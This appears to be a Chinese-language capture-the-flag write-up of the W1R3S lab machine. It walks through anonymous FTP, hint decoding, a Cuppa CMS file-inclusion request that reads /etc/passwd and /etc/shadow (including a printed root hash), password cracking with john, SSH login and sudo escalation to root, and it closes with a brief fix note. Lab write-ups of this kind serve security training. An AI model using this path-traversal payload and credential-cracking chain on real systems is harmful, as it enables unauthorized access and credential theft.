w1r3s-editable
w1r3s
信息收集
经典，无需多言
1 | ┌──(kali㉿kali)-[~] |
开放了21，22，80和3306端口，21是ftp的,22可能存在远程连接，80扫后台,3306是数据库的，-A看一下
1 | ┌──(kali㉿kali)-[~] |
一个个尝试吧，第一个是ftp，连接试试，上一个靶机刚做的隐匿登录1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115┌──(kali㉿kali)-[~/桌面]
└─$ ftp 192.168.159.134
Connected to 192.168.159.134.
220 Welcome to W1R3S.inc FTP service.
Name (192.168.159.134:kali): ftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||43100|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
226 Directory send OK.
ftp> cd content
250 Directory successfully changed.
ftp> binary
200 Switching to Binary mode.
ftp> mget 0*.txt
mget 01.txt [anpqy?]?
229 Entering Extended Passive Mode (|||41958|)
150 Opening BINARY mode data connection for 01.txt (29 bytes).
100% |*************************************************| 29 5.73 KiB/s 00:00 ETA
226 Transfer complete.
29 bytes received in 00:00 (4.03 KiB/s)
mget 02.txt [anpqy?]?
229 Entering Extended Passive Mode (|||47596|)
150 Opening BINARY mode data connection for 02.txt (165 bytes).
100% |*************************************************| 165 53.69 KiB/s 00:00 ETA
226 Transfer complete.
165 bytes received in 00:00 (33.03 KiB/s)
mget 03.txt [anpqy?]?
229 Entering Extended Passive Mode (|||42443|)
150 Opening BINARY mode data connection for 03.txt (582 bytes).
100% |*************************************************| 582 55.91 KiB/s 00:00 ETA
226 Transfer complete.
582 bytes received in 00:00 (46.99 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||44147|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 29 Jan 23 2018 01.txt
-rw-r--r-- 1 ftp ftp 165 Jan 23 2018 02.txt
-rw-r--r-- 1 ftp ftp 582 Jan 23 2018 03.txt
226 Directory send OK.
ftp> cd ,,.
550 Failed to change directory.
ftp> ls
229 Entering Extended Passive Mode (|||46326|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 29 Jan 23 2018 01.txt
-rw-r--r-- 1 ftp ftp 165 Jan 23 2018 02.txt
-rw-r--r-- 1 ftp ftp 582 Jan 23 2018 03.txt
226 Directory send OK.
ftp> cd ../
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||42864|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
226 Directory send OK.
ftp> cd docs
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||48758|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 138 Jan 23 2018 worktodo.txt
226 Directory send OK.
ftp> binary
200 Switching to Binary mode.
ftp> maget worktodo.txt
?Invalid command.
ftp> mget worktodo.txt
mget worktodo.txt [anpqy?]?
229 Entering Extended Passive Mode (|||43505|)
150 Opening BINARY mode data connection for worktodo.txt (138 bytes).
100% |*************************************************| 138 46.77 KiB/s 00:00 ETA
226 Transfer complete.
138 bytes received in 00:00 (34.29 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||49142|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 138 Jan 23 2018 worktodo.txt
226 Directory send OK.
ftp> cd ../
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||45915|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
226 Directory send OK.
ftp> cd new-employees
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||45613|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 155 Jan 28 2018 employee-names.txt
226 Directory send OK.
ftp> binary
200 Switching to Binary mode.
ftp> mget employee-names.txt
mget employee-names.txt [anpqy?]?
229 Entering Extended Passive Mode (|||47785|)
150 Opening BINARY mode data connection for employee-names.txt (155 bytes).
100% |*************************************************| 155 59.68 KiB/s 00:00 ETA
226 Transfer complete.
155 bytes received in 00:00 (43.70 KiB/s)
ftp> exit
221 Goodbye.
ftp里面有三个文件夹，里面的文件分别转换成二进制形式下载下来
打开，01看着没什么东西，02里面有个base64的，另一个用hash-id看是不是md51
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105┌──(kali㉿kali)-[~/桌面]
└─$ cat 01.txt
New FTP Server For W1R3S.inc
┌──(kali㉿kali)-[~/桌面]
└─$ cat 02.txt
#
#
#
#
#
#
#
#
01ec2d8fc11c493b25029fb1f47f39ce
#
#
#
#
#
#
#
#
#
#
#
#
#
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
############################################
┌──(kali㉿kali)-[~/桌面]
└─$ cat 03.txt
___________.__ __ __ ______________________ _________ .__
\__ ___/| |__ ____ / \ / \/_ \______ \_____ \ / _____/ |__| ____ ____
| | | | \_/ __ \ \ \/\/ / | || _/ _(__ < \_____ \ | |/ \_/ ___\
| | | Y \ ___/ \ / | || | \/ \/ \ | | | \ \___
|____| |___| /\___ > \__/\ / |___||____|_ /______ /_______ / /\ |__|___| /\___ >
\/ \/ \/ \/ \/ \/ \/ \/ \/
┌──(kali㉿kali)-[~/桌面]
└─$ hash-identifier '01ec2d8fc11c493b25029fb1f47f39ce'
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# [email protected] #
#########################################################################
--------------------------------------------------
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Least Possible Hashs:
[+] RAdmin v2.x
[+] NTLM
[+] MD4
[+] MD2
[+] MD5(HMAC)
[+] MD4(HMAC)
[+] MD2(HMAC)
[+] MD5(HMAC(Wordpress))
[+] Haval-128
[+] Haval-128(HMAC)
[+] RipeMD-128
[+] RipeMD-128(HMAC)
[+] SNEFRU-128
[+] SNEFRU-128(HMAC)
[+] Tiger-128
[+] Tiger-128(HMAC)
[+] md5($pass.$salt)
[+] md5($salt.$pass)
[+] md5($salt.$pass.$salt)
[+] md5($salt.$pass.$username)
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($pass.$salt))
[+] md5($salt.md5($salt.$pass))
[+] md5($salt.md5(md5($pass).$salt))
[+] md5($username.0.$pass)
[+] md5($username.LF.$pass)
[+] md5($username.md5($pass).$salt)
[+] md5(md5($pass))
[+] md5(md5($pass).$salt)
[+] md5(md5($pass).md5($salt))
[+] md5(md5($salt).$pass)
[+] md5(md5($salt).md5($pass))
[+] md5(md5($username.$pass).$salt)
[+] md5(md5(md5($pass)))
[+] md5(md5(md5(md5($pass))))
[+] md5(md5(md5(md5(md5($pass)))))
[+] md5(sha1($pass))
[+] md5(sha1(md5($pass)))
[+] md5(sha1(md5(sha1($pass))))
[+] md5(strtoupper(md5($pass)))
--------------------------------------------------
HASH:
里面没什么东西了，看看其他文件夹1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/桌面]
└─$ cat employee-names.txt
The W1R3S.inc employee list
Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources
给了个人名以及工作职位，人名可能存在密码的爆破
看看最后一个文件1
2
3
4
5┌──(kali㉿kali)-[~/桌面]
└─$ cat worktodo.txt
ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
倒过来
1 | ı don't thınk thıs ıs the way to root! |
别浪了，还有恁多事没整呢,这玩意搞不到root
1 | 扫了一下后台 |
访问http://192.168.159.134/administrator/installation/
暴露了是cuppa cms
next看能不能建造一个，但是最后不行
1 | Installation |
我们用searchsploit搜索一下1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/桌面]
└─$ searchsploit cuppa
------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------ ---------------------------------
Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclu | php/webapps/25971.txt
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
google搜了一下存在一个任意文件下载的漏洞
1 | http://{baseurl}/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd |
访问一下是
我们使用
1 | ┌──(kali㉿kali)-[~/桌面] |
如名使用curl访问http://192.168.159.134/administrator/alerts/alertConfigField.php，且参数为urlConfig=../../../../../../../../../etc/passwd 。请求时要对数据进行url编码
因为url一般是get请求，我们要暴改成post请求
1 | ┌──(kali㉿kali)-[~/桌面] |
在现在linux系统中，passwd文件里面所有账户的密码都是用x代替的，真正的密码（加密后）放在/etc/shadow中
我们把最后的/passwd改成shadow
1 | root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7::: |
用john爆一下
1 | ┌──(kali㉿kali)-[~/桌面] |
ssh连接，连接以后用whoami,id,uname -a,id都看一看，理论上说他有一个www-data一个w1r3s
的话，说明w1r3s是可以通过sudo提权的，试了试sudo -l获得了all:all:all的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99┌──(kali㉿kali)-[~/桌面]
└─$ ssh [email protected]
----------------------
Think this is the way?
----------------------
Well,........possibly.
----------------------
[email protected]'s password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-36-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
102 packages can be updated.
0 updates are security updates.
.....You made it huh?....
Last login: Mon Jan 22 22:47:27 2018 from 192.168.0.35
w1r3s@W1R3S:~$ whoami
w1r3s
w1r3s@W1R3S:~$ id
uid=1000(w1r3s) gid=1000(w1r3s) groups=1000(w1r3s),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
w1r3s@W1R3S:~$ sudo id
ls
^C
w1r3s@W1R3S:~$ sudo -l
^C
w1r3s@W1R3S:~$ uname -a
Linux W1R3S 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
w1r3s@W1R3S:~$ id
uid=1000(w1r3s) gid=1000(w1r3s) groups=1000(w1r3s),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
w1r3s@W1R3S:~$ sudo -l
sudo: unable to resolve host W1R3S
[sudo] password for w1r3s:
Matching Defaults entries for w1r3s on W1R3S:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User w1r3s may run the following commands on W1R3S:
(ALL : ALL) ALL
w1r3s@W1R3S:~$ sudo /bin/bash
sudo: unable to resolve host W1R3S
root@W1R3S:~# id
uid=0(root) gid=0(root) groups=0(root)
root@W1R3S:~# whoami
root
root@W1R3S:~# cd root
bash: cd: root: No such file or directory
root@W1R3S:~# ls
Desktop Downloads ftp Pictures Templates
Documents examples.desktop Music Public Videos
root@W1R3S:~# cd ../
root@W1R3S:/home# ls
w1r3s
root@W1R3S:/home# cd ../
root@W1R3S:/# ls
bin dev initrd.img lib64 mnt root snap tmp vmlinuz
boot etc initrd.img.old lost+found opt run srv usr vmlinuz.old
cdrom home lib media proc sbin sys var
root@W1R3S:/# cd root
root@W1R3S:/root# ls
flag.txt
root@W1R3S:/root# cat flag.txt
-----------------------------------------------------------------------------------------
____ ___ _ _ ____ ____ _ _____ _ _ _ _ _____ ___ ___ _ _ ____
/ ___/ _ \| \ | |/ ___| _ \ / \|_ _| | | | | / \|_ _|_ _/ _ \| \ | / ___|
| | | | | | \| | | _| |_) | / _ \ | | | | | | | / _ \ | | | | | | | \| \___ \
| |__| |_| | |\ | |_| | _ < / ___ \| | | |_| | |___ / ___ \| | | | |_| | |\ |___) |
\____\___/|_| \_|\____|_| \_\/_/ \_\_| \___/|_____/_/ \_\_| |___\___/|_| \_|____/
-----------------------------------------------------------------------------------------
.-----------------TTTT_-----_______
/''''''''''(______O] ----------____ \______/]_
__...---'"""\_ --'' Q ___________@
|''' ._ _______________=---------"""""""
| ..--''| l L |_l |
| ..--'' . /-___j ' '
| ..--'' / , ' '
|--'' / ` \
L__' \ -
- '-.
'. /
'-./
----------------------------------------------------------------------------------------
YOU HAVE COMPLETED THE
__ __ ______________________ _________
/ \ / \/_ \______ \_____ \ / _____/
\ \/\/ / | || _/ _(__ < \_____ \
\ / | || | \/ \/ \
\__/\ / |___||____|_ /______ /_______ /.INC
\/ \/ \/ \/ CHALLENGE, V 1.0
----------------------------------------------------------------------------------------
CREATED BY SpecterWires
----------------------------------------------------------------------------------------
漏洞修复
这里的1
include_once(realpath(__DIR__ . '/..')."/classes/Cuppa.php");
这是include_once（）函数导致的文件包含漏洞，修复时可以改变其函数类型，也可以去掉. ‘/..’让其无法返回上级目录
